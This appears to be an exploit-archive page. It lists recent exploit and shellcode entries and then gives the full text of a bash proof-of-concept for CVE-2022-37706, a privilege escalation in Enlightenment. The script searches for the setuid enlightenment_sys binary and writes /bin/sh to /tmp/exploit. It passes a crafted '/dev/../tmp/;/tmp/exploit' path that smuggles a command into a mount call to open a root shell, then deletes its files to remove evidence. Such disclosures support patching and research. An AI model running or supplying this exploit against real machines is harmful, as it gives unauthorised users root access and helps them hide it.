3de26153c8
23 changes to exploits/shellcodes/ghdb ELSI Smart Floor V3.3.3 - Stored Cross-Site Scripting (XSS) Hughes Satellite Router HX200 v8.3.1.14 - Remote File Inclusion Nexxt Router Firmware 42.103.1.5095 - Remote Code Execution (RCE) (Authenticated) TP-Link TL-WR902AC firmware 210730 (V3) - Remote Code Execution (RCE) (Authenticated) GeoVision Camera GV-ADR2701 - Authentication Bypass AD Manager Plus 7122 - Remote Code Execution (RCE) Enlightenment v0.25.3 - Privilege escalation Centos Web Panel 7 v0.9.8.1147 - Unauthenticated Remote Code Execution (RCE) Apache 2.4.x - Buffer Overflow perfSONAR v4.4.5 - Partial Blind CSRF SugarCRM 12.2.0 - Remote Code Execution (RCE) XCMS v1.83 - Remote Command Execution (RCE) Yahoo User Interface library (YUI2) TreeView v2.8.2 - Multiple Reflected Cross Site Scripting (XSS) GitLab v15.3 - Remote Code Execution (RCE) (Authenticated) AimOne Video Converter V2.04 Build 103 - Buffer Overflow (DoS) NetIQ/Microfocus Performance Endpoint v5.1 - remote root/SYSTEM exploit Splashtop 8.71.12001.0 - Unquoted Service Path Reprise Software RLM v14.2BL4 - Cross-Site Scripting (XSS) FlipRotation v1.0 decoder - Shellcode (146 bytes) Linux/x86 - Polymorphic linux x86 Shellcode (92 Bytes) macOS/x64 - Execve Caesar Cipher String Null-Free Shellcode
100 lines
No EOL
2.8 KiB
Text
100 lines
No EOL
2.8 KiB
Text
## Exploit Title: Enlightenment v0.25.3 - Privilege escalation
|
|
## Author: nu11secur1ty
|
|
## Date: 12.26.2022
|
|
## Vendor: https://www.enlightenment.org/
|
|
## Software: https://www.enlightenment.org/download
|
|
## Reference: https://github.com/nu11secur1ty/CVE-mitre/tree/main/CVE-2022-37706
|
|
## CVE ID: CVE-2022-37706
|
|
## Description:
|
|
The Enlightenment Version: 0.25.3 is vulnerable to local privilege escalation.
|
|
Enlightenment_sys in Enlightenment before 0.25.3 allows local users to
|
|
gain privileges because it is setuid root,
|
|
and the system library function mishandles pathnames that begin with a
|
|
/dev/.. substring
|
|
If the attacker has access locally to some machine on which the
|
|
machine is installed Enlightenment
|
|
he can use this vulnerability to do very dangerous stuff.
|
|
|
|
## STATUS: CRITICAL Vulnerability
|
|
|
|
## Tested on:
|
|
```bash
|
|
DISTRIB_ID=Ubuntu
|
|
DISTRIB_RELEASE=22.10
|
|
DISTRIB_CODENAME=kinetic
|
|
DISTRIB_DESCRIPTION="Ubuntu 22.10"
|
|
PRETTY_NAME="Ubuntu 22.10"
|
|
NAME="Ubuntu"
|
|
VERSION_ID="22.10"
|
|
VERSION="22.10 (Kinetic Kudu)"
|
|
VERSION_CODENAME=kinetic
|
|
ID=ubuntu
|
|
ID_LIKE=debian
|
|
HOME_URL="https://www.ubuntu.com/"
|
|
SUPPORT_URL="https://help.ubuntu.com/"
|
|
BUG_REPORT_URL="https://bugs.launchpad.net/ubuntu/"
|
|
PRIVACY_POLICY_URL="https://www.ubuntu.com/legal/terms-and-policies/privacy-policy"
|
|
UBUNTU_CODENAME=kinetic
|
|
LOGO=ubuntu-logo
|
|
```
|
|
|
|
[+] Exploit:
|
|
|
|
```bash
|
|
#!/usr/bin/bash
|
|
# Idea by MaherAzzouz
|
|
# Development by nu11secur1ty
|
|
|
|
echo "CVE-2022-37706"
|
|
echo "[*] Trying to find the vulnerable SUID file..."
|
|
echo "[*] This may take few seconds..."
|
|
|
|
# The actual problem
|
|
file=$(find / -name enlightenment_sys -perm -4000 2>/dev/null | head -1)
|
|
if [[ -z ${file} ]]
|
|
then
|
|
echo "[-] Couldn't find the vulnerable SUID file..."
|
|
echo "[*] Enlightenment should be installed on your system."
|
|
exit 1
|
|
fi
|
|
|
|
echo "[+] Vulnerable SUID binary found!"
|
|
echo "[+] Trying to pop a root shell!"
|
|
mkdir -p /tmp/net
|
|
mkdir -p "/dev/../tmp/;/tmp/exploit"
|
|
|
|
echo "/bin/sh" > /tmp/exploit
|
|
chmod a+x /tmp/exploit
|
|
echo "[+] Welcome to the rabbit hole :)"
|
|
|
|
${file} /bin/mount -o
|
|
noexec,nosuid,utf8,nodev,iocharset=utf8,utf8=0,utf8=1,uid=$(id -u),
|
|
"/dev/../tmp/;/tmp/exploit" /tmp///net
|
|
|
|
read -p "Press any key to clean the evedence..."
|
|
echo -e "Please wait... "
|
|
|
|
sleep 5
|
|
rm -rf /tmp/exploit
|
|
rm -rf /tmp/net
|
|
echo -e "Done; Everything is clear ;)"
|
|
|
|
```
|
|
|
|
## Reproduce:
|
|
[href](https://github.com/nu11secur1ty/CVE-mitre/tree/main/CVE-2022-37706)
|
|
## Proof and Exploit:
|
|
[href](https://streamable.com/zflbgg)
|
|
|
|
## Time spent
|
|
`01:00:00`
|
|
|
|
|
|
--
|
|
System Administrator - Infrastructure Engineer
|
|
Penetration Testing Engineer
|
|
Exploit developer at https://packetstormsecurity.com/
|
|
https://cve.mitre.org/index.html and https://www.exploit-db.com/
|
|
home page: https://www.nu11secur1ty.com/
|
|
hiPEnIMR0v7QCo/+SEH9gBclAAYWGnPoBIQ75sCj60E=
|
|
nu11secur1ty <http://nu11secur1ty.com/> |